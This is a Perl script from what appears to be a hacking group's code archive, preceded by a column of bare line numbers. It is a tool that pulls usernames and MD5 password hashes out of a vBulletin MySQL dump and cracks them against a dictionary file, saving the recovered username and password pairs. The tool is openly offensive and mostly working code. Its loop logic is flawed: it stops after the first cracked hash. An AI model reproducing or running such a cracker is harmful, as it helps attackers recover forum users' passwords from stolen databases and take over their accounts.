./c0de/perl/mydump.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
#!/usr/bin/perl
# Hollow Chocolate Bunnies From Hell presenting
# bbcrack.pl
#
# Extracts and cracks hashes of a given MySQL dump of a
# vBulletin board
#
# by softxor <softxor at infosec dot org dot uk>
# http://bunnies.rootyourbox.org/
# IRC: irc.milw0rm.com #hcbfh
 
use strict;
use Digest::MD5 qw(md5_hex);
my $num_cracked = 0;
my $duration = time();
my @hashes;
 
 
if ($#ARGV != 1) {
  print "Usage: bbcrack.pl [SQL FILE] [DICTIONARY]\n";
  exit;
}
 
 
# extract hashes from the SQL table
open(SQLFILE, $ARGV[0]) or die('Cannot open SQL Database $ARGV[1]');
 
print "Extracting hashes from file.\n";
 
my @hash_file = <SQLFILE>;
 
foreach my $line (@hash_file) {
  if ($line =~ m/'([0-9a-zA-Z]+)\'\, \'([0-9a-fA-F]{32})\'/g) {
    push(@hashes, "$1:$2");
    #print "Found h$1:$2\n"; # uncomment for dumping hashes to stdout
  }
}
 
print "Found ".($#hashes + 1)." hashes.\n";
 
 
# and if you are not willing, you'll never grow old!
print "Trying to break hashes. Be patient.\n";
 
open(OUT, ">cracked") or die('Cannot create or write to cracked file. Try chmod the working directory accordingly.');
open(DICT, $ARGV[1]) or die('Cannot open dictionary file $ARGV[1]');
 
 
foreach (@hashes) {
 
  my ($username, $hash) = split(":", $_);
  my $foundh = 0; 
 
  #print "Trying $username\n"; # uncomment for verbose output
 
  seek(DICT, 0, 0);
 
  while (chomp(my $line = <DICT>)) {
 
    if ($hash eq md5_hex($line)) {
      print "Cracked: $username : $line\n";
      print OUT "$username : $line\n";
      $foundh = 1;
      $num_cracked++;
 
      last;
    }
 
  }
 
 
  if ($foundh) {
    last;
  }
 
}
 
close DICT;
 
$duration = time() - $duration;
print "Finished.\nDuration: $duration Seconds\n$num_cracked/".($#hashes + 1)." hashes cracked.\n";
 
exit;
 

Back